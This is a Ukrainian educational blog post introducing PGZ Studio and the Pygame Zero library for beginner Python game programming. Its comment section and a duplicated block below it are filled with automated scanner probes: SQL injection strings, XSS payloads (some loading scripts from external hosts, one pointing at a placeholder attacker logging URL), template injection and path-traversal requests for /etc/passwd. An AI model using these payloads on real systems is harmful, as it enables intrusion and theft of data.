Як спробувати PGZ Studio. Проєкти й коментарі від Григорія Громка
-
Прочитаєте за
5 хв
-
Перегляди
1884
Вже можна спробувати PGZ Studio - https://ed-info.github.io/pgz/
Архів з простими прикладами (завантажуєте, розпаковуєте, в PGZ натискаєте на "Відкрити проєкт"): ТУТ
Проєкти працюють і в Thonny (встановіть pgzero через Інструменти), середовище PGZ - тільки онлайн, і не на телефоні (поки що).
Знайомимось з Pygame Zero
Якщо у вас:
- є грандіозні ідеї щодо створення комп’ютерної гри, яка приверне увагу користувачів у всьому світі;
- є початкові навчики програмування у Python;
- є достатньо часу, бажання та терпіння,
тож нічого не завадить реалізувати ваші плани, використовуючи комп’ютер, знання Python та можливості бібліотеки Pygame Zero.
Застереження! Перш ніж розпочати працювати з Pygame Zero, ви маєте мати початкові відомості про мову програмування Python.
Отже, починаємо.
Що таке Pygame Zero?
Під час написання ігор на Python одним із найпопулярнішим засобом є бібліотека Pygame, але при всіх її перевагах, недосвідченим програмістам може бути важко користуватися нею — не всі речі є інтуїтивно зрозумілими, синтаксис часом є заплутаним. Саме тут на допомогу приходить Pygame Zero.
Pygame Zero — це програмна бібліотека для створення комп’ютерних ігор мовою Python та вивчення програмування:
- це бібліотека, яку було розроблено таким чином, щоб з нею могли легко працювати навіть ті, хто має лише початкові навички програмування;
- це спосіб приховати все складне у Pygame;
- це простий і зрозумілий синтаксис Python;
- це вбудовані функції введення з клавіатури та миші, відтворення зображень і керування ігровими циклами;
- це подійно-кероване програмування, яке може бути сходинкою до об’єктно-орієнтованого;
- це середовище під назвою “Mu”(М’ю), призначене для для тих, хто робить перші кроки у програмуванні;
- це підтримка спільноти та авторів.
Вибір середовища програмування
Взагалі найбільше проблем у недосвідчених користувачів виникає на етапі вибору середовища програмування та встановлення Python на особистому комп’ютері.
Ми мали змогу випробувати різні середовища — від стандартного IDLE і до онлайнового Repl.it, тож можемо оцінити та надати рекомендації щодо зваженого їх вибору.
Автор: Григорій Громко
Автор
Oksana Kovalenko
Oksana KovalenkoКоментарі
ncMUFCMU16 березеня 2026 року
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
@@0H76x
ncMUFCMU16 березеня 2026 року
1����%2527%2522\'\"
ncMUFCMU16 березеня 2026 року
1<aLwMjNZ<
ncMUFCMU16 березеня 2026 року
1'"
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ncMUFCMU16 березеня 2026 року
1<img sRc='http://attacker-9786/log.php?
ncMUFCMU16 березеня 2026 року
1<apv7wAU x=9952>
ncMUFCMU16 березеня 2026 року
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ncMUFCMU16 березеня 2026 року
1<ifRAme sRc=9097.com></IfRamE>
ncMUFCMU16 березеня 2026 року
1<WTRCHQ>93FZV[!+!]</WTRCHQ>
ncMUFCMU16 березеня 2026 року
1lmlVZNeT')) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
1y1bRL
<ScRiPt >XQ27(9256)</ScRiPt>
ncMUFCMU16 березеня 2026 року
1}body{zzz:Expre/**/SSion(XQ27(9042))}
ncMUFCMU16 березеня 2026 року
<a HrEF=jaVaScRiPT:>
ncMUFCMU16 березеня 2026 року
168iJ5bxq') OR 152=(SELECT 152 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
<a HrEF=http://xss.bxss.me></a>
ncMUFCMU16 березеня 2026 року
1<input autofocus onfocus=XQ27(9650)>
ncMUFCMU16 березеня 2026 року
1E40QRBUx' OR 778=(SELECT 778 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
�<img zzz onmouseover=XQ27(94131) //�>
ncMUFCMU16 березеня 2026 року
1<
ncMUFCMU16 березеня 2026 року
1\u003CScRiPt\XQ27(9392)\u003C/sCripT\u003E
ncMUFCMU16 березеня 2026 року
1-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
%31%3C%53%63%52%69%50%74%20%3E%58%51%32%37%289961%29%3C%2F%73%43%72%69%70%54%3E
ncMUFCMU16 березеня 2026 року
1<img/src=">" onerror=alert(9700)>
ncMUFCMU16 березеня 2026 року
1-1) OR 457=(SELECT 457 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
1<img src=xyz OnErRor=XQ27(9690)>
ncMUFCMU16 березеня 2026 року
1-1 OR 820=(SELECT 820 FROM PG_SLEEP(15))--
ncMUFCMU16 березеня 2026 року
1<img src=//xss.bxss.me/t/dot.gif onload=XQ27(9982)>
ncMUFCMU16 березеня 2026 року
1QYqODdWG'
ncMUFCMU16 березеня 2026 року
1<body onload=XQ27(9431)>
ncMUFCMU16 березеня 2026 року
1<iframe src='data:text/html
ncMUFCMU16 березеня 2026 року
1-1 waitfor delay '0:0:15' --
ncMUFCMU16 березеня 2026 року
1<isindex type=image src=1 onerror=XQ27(9583)>
ncMUFCMU16 березеня 2026 року
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9779></ScRiPt>
ncMUFCMU16 березеня 2026 року
1-1)
ncMUFCMU16 березеня 2026 року
1<ScRiPt
>XQ27(9994)</ScRiPt>
ncMUFCMU16 березеня 2026 року
1<ScR<ScRiPt>IpT>XQ27(9552)</sCr<ScRiPt>IpT>
ncMUFCMU16 березеня 2026 року
1<script>XQ27(9560)</script>9560
ncMUFCMU16 березеня 2026 року
1-1
ncMUFCMU16 березеня 2026 року
1<script>XQ27(9743)</script>
ncMUFCMU16 березеня 2026 року
1<WN9KZU>NQOJM[!+!]</WN9KZU>
ncMUFCMU16 березеня 2026 року
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ncMUFCMU16 березеня 2026 року
1<ScRiPt >XQ27(9865)</ScRiPt>
ncMUFCMU16 березеня 2026 року
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
ncMUFCMU16 березеня 2026 року
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
ncMUFCMU16 березеня 2026 року
dfb__${98991*97996}__::.x
ncMUFCMU16 березеня 2026 року
dfb[[${98991*97996}]]xca
ncMUFCMU16 березеня 2026 року
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
ncMUFCMU16 березеня 2026 року
dfb{{98991*97996}}xca
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
1*if(now()=sysdate(),sleep(15),0)
ncMUFCMU16 березеня 2026 року
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
<th:t="${dfb}#foreach
ncMUFCMU16 березеня 2026 року
-1" OR 5*5=25 or "qEVV5AHw"="
ncMUFCMU16 березеня 2026 року
-1' OR 5*5=25 or 'sMH3FZMI'='
ncMUFCMU16 березеня 2026 року
-1" OR 5*5=25 --
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
-1' OR 5*5=25 --
ncMUFCMU16 березеня 2026 року
-1 OR 5*5=25
ncMUFCMU16 березеня 2026 року
^(#$!@#$)(()))******
ncMUFCMU16 березеня 2026 року
-1 OR 5*5=25 --
ncMUFCMU16 березеня 2026 року
!(()&&!|*|*|
ncMUFCMU16 березеня 2026 року
<%={{={@{#{${dfb}}%>
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
)
ncMUFCMU16 березеня 2026 року
http://bxss.me/t/fit.txt?.jpg
ncMUFCMU16 березеня 2026 року
bfgx6222��z1��z2a�bcxhjl6222
ncMUFCMU16 березеня 2026 року
Http://bxss.me/t/fit.txt
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
bxss.me
ncMUFCMU16 березеня 2026 року
c:/windows/win.ini
ncMUFCMU16 березеня 2026 року
../../../../../../../../../../../../../../etc/shells
ncMUFCMU16 березеня 2026 року
bfg7117<s1﹥s2ʺs3ʹhjl7117
ncMUFCMU16 березеня 2026 року
/etc/shells
ncMUFCMU16 березеня 2026 року
../1
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
1
ncMUFCMU16 березеня 2026 року
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
ncMUFCMU16 березеня 2026 року
19910813
ncMUFCMU16 березеня 2026 року
file:///etc/passwd
ncMUFCMU16 березеня 2026 року
../../../../../../../../../../../../../../windows/win.ini
ncMUFCMU16 березеня 2026 року
'"()&%<zzz><ScRiPt >XQ27(9328)</ScRiPt>
ncMUFCMU16 березеня 2026 року
../../../../../../../../../../../../../../etc/passwd
ncMUFCMU16 березеня 2026 року
K81IuLXJ: UBnZPxIn
ncMUFCMU16 березеня 2026 року
Pq8W67uL
ncMUFCMU16 березеня 2026 року
12345'"\'\")
ncMUFCMU16 березеня 2026 року
ncMUFCMU16 березеня 2026 року
1'"()&%<zzz><ScRiPt >XQ27(9358)</ScRiPt>
ncMUFCMU16 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
@@onkXI
KfnqDuxw06 березеня 2026 року
1����%2527%2522\'\"
KfnqDuxw06 березеня 2026 року
1'"
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
KfnqDuxw06 березеня 2026 року
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
KfnqDuxw06 березеня 2026 року
1KuV3S323')) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
16q4m9gFF') OR 355=(SELECT 355 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
1Nxksn9W7' OR 132=(SELECT 132 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
1-1)) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
1-1) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
1-1 OR 945=(SELECT 945 FROM PG_SLEEP(15))--
KfnqDuxw06 березеня 2026 року
1RLiSBPBZ'
KfnqDuxw06 березеня 2026 року
1-1 waitfor delay '0:0:15' --
KfnqDuxw06 березеня 2026 року
1-1)
KfnqDuxw06 березеня 2026 року
1-1
KfnqDuxw06 березеня 2026 року
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
KfnqDuxw06 березеня 2026 року
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
KfnqDuxw06 березеня 2026 року
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
KfnqDuxw06 березеня 2026 року
1*if(now()=sysdate(),sleep(15),0)
KfnqDuxw06 березеня 2026 року
-1" OR 5*5=25 or "Gl0ueyuo"="
KfnqDuxw06 березеня 2026 року
-1' OR 5*5=25 or 'b9xmbkRq'='
KfnqDuxw06 березеня 2026 року
-1" OR 5*5=25 --
KfnqDuxw06 березеня 2026 року
-1' OR 5*5=25 --
KfnqDuxw06 березеня 2026 року
-1 OR 5*5=25
KfnqDuxw06 березеня 2026 року
-1 OR 5*5=25 --
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
KfnqDuxw06 березеня 2026 року
1
1
1
@@0H76x
1����%2527%2522\'\"
1<aLwMjNZ<
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1<img sRc='http://attacker-9786/log.php?
1<apv7wAU x=9952>
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1<ifRAme sRc=9097.com></IfRamE>
1<WTRCHQ>93FZV[!+!]</WTRCHQ>
1lmlVZNeT')) OR 179=(SELECT 179 FROM PG_SLEEP(15))--
1y1bRL <ScRiPt >XQ27(9256)</ScRiPt>
1}body{zzz:Expre/**/SSion(XQ27(9042))}
<a HrEF=jaVaScRiPT:>
168iJ5bxq') OR 152=(SELECT 152 FROM PG_SLEEP(15))--
<a HrEF=http://xss.bxss.me></a>
1<input autofocus onfocus=XQ27(9650)>
1E40QRBUx' OR 778=(SELECT 778 FROM PG_SLEEP(15))--
�<img zzz onmouseover=XQ27(94131) //�>
1<
1\u003CScRiPt\XQ27(9392)\u003C/sCripT\u003E
1-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
%31%3C%53%63%52%69%50%74%20%3E%58%51%32%37%289961%29%3C%2F%73%43%72%69%70%54%3E
1<img/src=">" onerror=alert(9700)>
1-1) OR 457=(SELECT 457 FROM PG_SLEEP(15))--
1<img src=xyz OnErRor=XQ27(9690)>
1-1 OR 820=(SELECT 820 FROM PG_SLEEP(15))--
1<img src=//xss.bxss.me/t/dot.gif onload=XQ27(9982)>
1QYqODdWG'
1<body onload=XQ27(9431)>
1<iframe src='data:text/html
1-1 waitfor delay '0:0:15' --
1<isindex type=image src=1 onerror=XQ27(9583)>
1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9779></ScRiPt>
1-1)
1<ScRiPt >XQ27(9994)</ScRiPt>
1<ScR<ScRiPt>IpT>XQ27(9552)</sCr<ScRiPt>IpT>
1<script>XQ27(9560)</script>9560
1-1
1<script>XQ27(9743)</script>
1<WN9KZU>NQOJM[!+!]</WN9KZU>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1<ScRiPt >XQ27(9865)</ScRiPt>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
dfb{{98991*97996}}xca
1
1*if(now()=sysdate(),sleep(15),0)
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
<th:t="${dfb}#foreach
-1" OR 5*5=25 or "qEVV5AHw"="
-1' OR 5*5=25 or 'sMH3FZMI'='
-1" OR 5*5=25 --
1
-1' OR 5*5=25 --
-1 OR 5*5=25
^(#$!@#$)(()))******
-1 OR 5*5=25 --
!(()&&!|*|*|
<%={{={@{#{${dfb}}%>
1
)
http://bxss.me/t/fit.txt?.jpg
bfgx6222��z1��z2a�bcxhjl6222
Http://bxss.me/t/fit.txt
1
bxss.me
c:/windows/win.ini
../../../../../../../../../../../../../../etc/shells
bfg7117<s1﹥s2ʺs3ʹhjl7117
/etc/shells
../1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
19910813
file:///etc/passwd
../../../../../../../../../../../../../../windows/win.ini
'"()&%<zzz><ScRiPt >XQ27(9328)</ScRiPt>
../../../../../../../../../../../../../../etc/passwd
K81IuLXJ: UBnZPxIn
Pq8W67uL
12345'"\'\")
1'"()&%<zzz><ScRiPt >XQ27(9358)</ScRiPt>
1
1
1
1
1
1
1
@@onkXI
1����%2527%2522\'\"
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1KuV3S323')) OR 395=(SELECT 395 FROM PG_SLEEP(15))--
16q4m9gFF') OR 355=(SELECT 355 FROM PG_SLEEP(15))--
1Nxksn9W7' OR 132=(SELECT 132 FROM PG_SLEEP(15))--
1-1)) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
1-1) OR 856=(SELECT 856 FROM PG_SLEEP(15))--
1-1 OR 945=(SELECT 945 FROM PG_SLEEP(15))--
1RLiSBPBZ'
1-1 waitfor delay '0:0:15' --
1-1)
1-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "Gl0ueyuo"="
-1' OR 5*5=25 or 'b9xmbkRq'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
1
1
1
Останні статті
- April 13, 2026, 8:09 p.m.
- oksana_kovalenko
Починаємо програмувати - від першого рядка коду до акторів на екрані
Pygame Zero. Перші кроки від Григорія Громка
Детальніше- April 6, 2026, 9:21 p.m.
- oksana_kovalenko
Урок 3. Малюємо найпростіші фігури в Python
6 клас. Алгоритми та програми. Python
Детальніше
- April 2, 2026, 12:35 p.m.
- zakhar74
Завдання ІІI етапу Всеукраїнської учнівської олімпіади з інформаційних технологій 2025-2026 н.р. 8-11 класи
Завдання ІІI етапу Всеукраїнської учнівської олімпіади з інформаційних технологій 2025-2026 н.р. 8-11 класи
Детальніше
рматика
1